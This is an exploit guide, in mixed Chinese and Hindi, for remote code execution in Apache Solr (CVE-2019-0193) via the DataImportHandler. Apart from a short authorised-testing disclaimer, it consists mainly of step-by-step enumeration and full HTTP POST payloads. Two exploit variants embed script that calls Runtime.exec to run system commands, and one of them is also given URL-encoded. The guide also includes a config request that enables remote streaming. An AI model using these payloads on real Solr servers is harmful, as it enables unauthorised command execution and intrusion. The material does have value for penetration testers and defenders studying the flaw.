
Apache Solr远程代码执行漏洞(CVE-2019-0193) Exploit
यहाँ प्रदान की गई भेद्यता पहचान विधियाँ, फ़ाइलें आदि केवल उन सुरक्षा पेशेवरों के लिए हैं जिनके पास कानूनी अधिकार है, और इनका उद्देश्य अधिकृत सर्वरों की सुरक्षा का परीक्षण करना है। सुरक्षा पेशेवरों को कानूनी नियमों का पालन करना चाहिए और बिना प्राधिकरण के किसी भी भेद्यता परीक्षण को करने से प्रतिबंधित किया जाता है।
भेद्यता विश्लेषण - Apache Solr दूरस्थ कोड निष्पादन भेद्यता (CVE-2019-0193) - 先知社区
सिद्धांत रूप में, शोषण (Exploit) बनाने के लिए विभिन्न प्रकार के डेटा स्रोतों का उपयोग किया जा सकता है
Exploit1 में उपयोग किए जाने वाले डेटा स्रोत का प्रकार URLDataSource है
Exploit2 में उपयोग किए जाने वाले डेटा स्रोत का प्रकार ContentStreamDataSource है
Exploit1 में उपयोग किए जाने वाले डेटा स्रोत का प्रकार URLDataSource है
लाभ: परिणाम दृश्यमान (result echoing), Solr के निचले संस्करणों के लिए पहचान समर्थित
दोष: इंटरनेट कनेक्शन की आवश्यकता
URLDataSource प्रकार का डेटा स्रोत बनाएं (Solr सर्वर इस डेटा स्रोत तक पहुँचेगा!) आप सीधे इसका उपयोग कर सकते हैं
https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml
दस्तावेज़ demo.xml एक URLDataSource प्रकार का डेटा स्रोत है, एक हानिरहित सामान्य XML दस्तावेज़।
दस्तावेज़ में केवल एक item तत्व है, ताकि केवल एक बार कमांड निष्पादित हो।
आप स्वयं एक वेब सर्वर शुरू कर सकते हैं और demo.xml दस्तावेज़ को होस्ट कर सकते हैं। कमांड: live-server --port=5555 से पता मिलता है: http://127.0.0.1:5555/demo.xml
Solr में सभी इंडेक्स लाइब्रेरी (core) के नाम प्राप्त करें
http://{xx.com:80}/solr/admin/cores
HTTP响应 JSON数据 会有所有索引库(core)的名称
"name":"xxxx"
यह जाँचें कि क्या इस इंडेक्स लाइब्रेरी में DataImportHandler मॉड्यूल का उपयोग किया जा रहा है
विधि 1
访问
http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json
如果使用了DataImportHandler模块 则HTTP响应内会有:
org.apache.solr.handler.dataimport.DataImportHandler
否则说明没有使用DataImportHandler模块(不受该漏洞影响)
विधि 2
访问
http://{xx.com:80}/solr/#/{core_name}/dataimport
如果这个Solr服务器并没有使用dataimport-handler模块(不受该漏洞影响),HTTP响应中会有提示:
sorry, no dataimport-handler defined!
否则说明使用了DataImportHandler模块(受该漏洞影响)
कमांड निष्पादित करें, HTTP प्रतिक्रिया में निष्पादन परिणाम दृश्यमान होते हैं, बहु-पंक्ति परिणामों का समर्थन (मैंने प्रत्येक पंक्ति को \n\r के साथ समाप्त किया है)
नोट: निम्नलिखित अनुरोध URL में स्ट्रिंग "tika" को इंडेक्स लाइब्रेरी के नाम से बदलें
POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity name="entity1"
url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
Exploit2 में उपयोग किए जाने वाले डेटा स्रोत का प्रकार ContentStreamDataSource है
लाभ: परिणाम दृश्यमान, इंटरनेट की आवश्यकता नहीं
दोष: निचले संस्करणों का पता नहीं लगाया जा सकता - क्योंकि POST अनुरोध के माध्यम से configoverlay.json फ़ाइल में कॉन्फ़िगरेशन बदलना विफल हो जाता है
चरण 1 छोड़ें
चरण 2-3 वही (ऊपर दिए गए अनुसार)
यह चरण configoverlay.json फ़ाइल में कॉन्फ़िगरेशन को संशोधित करने के लिए है, ताकि रिमोट स्ट्रीमिंग से संबंधित विकल्पों .enableStreamBody और .enableRemoteStreaming को सक्षम किया जा सके
tika को इंडेक्स लाइब्रेरी के नाम से बदलें
POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close
{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}
प्रतिक्रिया 200 का मतलब सफलता (वास्तविक परीक्षण में 8.1 सफल रहा)
प्रतिक्रिया 500 का मतलब विफलता (वास्तविक परीक्षण में कुछ निचले संस्करण विफल हो जाते हैं)
अनुरोध भेजें, सिस्टम कमांड ifconfig निष्पादित करें और परिणाम प्राप्त करें (पूरी प्रक्रिया में कोई बाहरी कनेक्शन नहीं, इंटरनेट की आवश्यकता नहीं)
POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-Length: 212
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f
--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>
--------------------------aceb88c2159f183f--
ध्यान दें, dataConfig का मान URL एन्कोडिंग से पहले निम्नलिखित स्ट्रिंग है
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ifconfig").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>